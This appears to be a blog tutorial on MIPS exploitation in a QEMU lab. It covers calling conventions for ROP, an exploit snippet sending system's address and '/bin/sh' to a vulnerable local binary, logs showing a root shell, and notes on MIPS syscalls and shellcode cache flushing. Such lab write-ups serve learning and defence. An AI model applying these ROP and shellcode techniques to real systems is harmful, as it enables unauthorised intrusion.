Build Environment

Using qemu to set up your mips-arch system. Download the files here.

qemu-system-mips -m 512M -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -redir tcp:22::22 -device e1000,netdev=qnet0 -netdev user,id=qnet0,net=192.168.76.0/24,dhcpstart=192.168.76.9

ROP

Ropping in every architecture the first thing you must be clear is the detail of function call. The first 4 arguments are saved by $a0-$a3 and others are stored in stack.

Suppose the 6 arguments are in s0-s5:
move $a0, $s0    #  and 0($fp) is reserved for this on the stack
move $a1, $s1    #  and 4($fp) is reserved for this on the stack
move $a2, $s2    # and 8($fp)...
move $a3, $s3    # and 12($fp)...
sw $s4, 16($fp)  # store 5th argument in the stack!!! Always at this location.
sw $s5, 20($fp)  # store 6th argument in the stack, always at this location.

As for the return value, v0 holds it. If it's 64bit: v0 for high 32bit, v1 for low 32bit. The same as arm-arch, the register fp sometimes is not pushed into stack. So in arm and mips arch, the stack frame is not necessary sometimes and you must see the assemble code to make sure. But in most of the time, it's normal, which means it will be pushed into stack.

Some details you can see this.

You'd better call sleep(1) after you send "/bin/sh", although I don't know the reason~ And I knew it by debugging.

......
p.writeline(b32(system_addr) + "/bin/sh\x00")
raw_input('g0')
##system('/bin/sh')
......

And you can get a shell by remote attacking or local attacking:

➜  mips_exp python rop.py
[+] Connecting to localhost on port 22: Done
[!] Couldn't check security settings on 'localhost'
[+] Connecting to localhost:10000 via SSH to localhost: Done
[*] '/home/w0lfzhang/Desktop/mips_exp/rop'
    Arch:     mips-32-big
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] '/home/w0lfzhang/Desktop/mips_exp/libc.so.6'
    Arch:     mips-32-big
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
g0
[+] write_addr: 0x77f21cf8
[+] system_addr: 0x77ef2480
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
root@debian-mips:~/mips_exp# python rop_zio.py 
Welcome to mips ROP!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�aaaaaaaaaaaaaaaaaaaaaaaaaaaa�����@paaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�p
w���[+] write_addr: 0x77f21cf8
[+] system_addr: 0x77e79da0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�aaaaaaaaaaaaaaaaaaaaaaaaaaaa��A   0d@paaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�p
w睠/bin/sh
g0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@�aaaaaaaaaaaaaaaaaaaaaaaaaaaaA 0�A 4@p
id
uid=0(root) gid=0(root) groups=0(root)

The reason I write the zio exploit script is that it's convenient to debug the program in the virtual machine and I can't install pwntools in mips-arch linux.

Shellcode

Writing good-working shellcode is always a hard thing. There are some problems you will encounter. Although most of the time, we don't need to write shellcode on our own, we can use pwntools or other tools to generate it. But it's necessary to introduce how to write it. mips syscall:

$v0 = sys-no
args: $a0-$a3
$a0 = arg1      
$a1 = arg2    
$a2 = arg3     
... 
$a3: success/error             
syscall         
$v0 = ret-value 

So if the numbers of args is more than 4, how to pass the left args? Let's check the function sendto in libc:

sendto(fd, buf, 20, 0, 0x4000, 100);

Step into libc at sendto:

gdb-peda$ b sendto
gdb-peda$ r
gdb-peda$ x/3i $pc
=> 0x77f37fa0:  lw      t9,-32080(gp)
   0x77f37fa4:  move    at,at
   0x77f37fa8:  jr      t9
   0x77f37fac:  move    at,at
gdb-peda$ x/20wx $sp
0x7fff6b08:     0x77e3f5b4      0x77fef000      0x00418860      0x00000000
0x7fff6b18:     0x00004000      0x00000064      0x77fd6dd0      0x00400510
0x7fff6b28:     0x00000000      0x00000014      0x00418860      0x00000000
0x7fff6b38:     0x20000000      0x00000000      0x00400510      0x004fd608
0x7fff6b48:     0x77fc7970      0x00501328      0x0000006c      0x77e4f208
gdb-peda$ i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 fffffff8 0000005f 00000000 00000000 7fff6b30 00000014 00000001 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 00001054 80497a64 00000004 7fff6b28 00004000 00000064 7fff6918 
            s0       s1       s2       s3       s4       s5       s6       s7

See? The fifth and the sixth args are push into stack. Just ingore t5 and t6, they are not used to save arguments.

And in mips systems, there exists cache incoherency when executing shellcode. The solution is calling sleep(1) to flush cache before executing shellcode. You can see this pdf in chapter 3.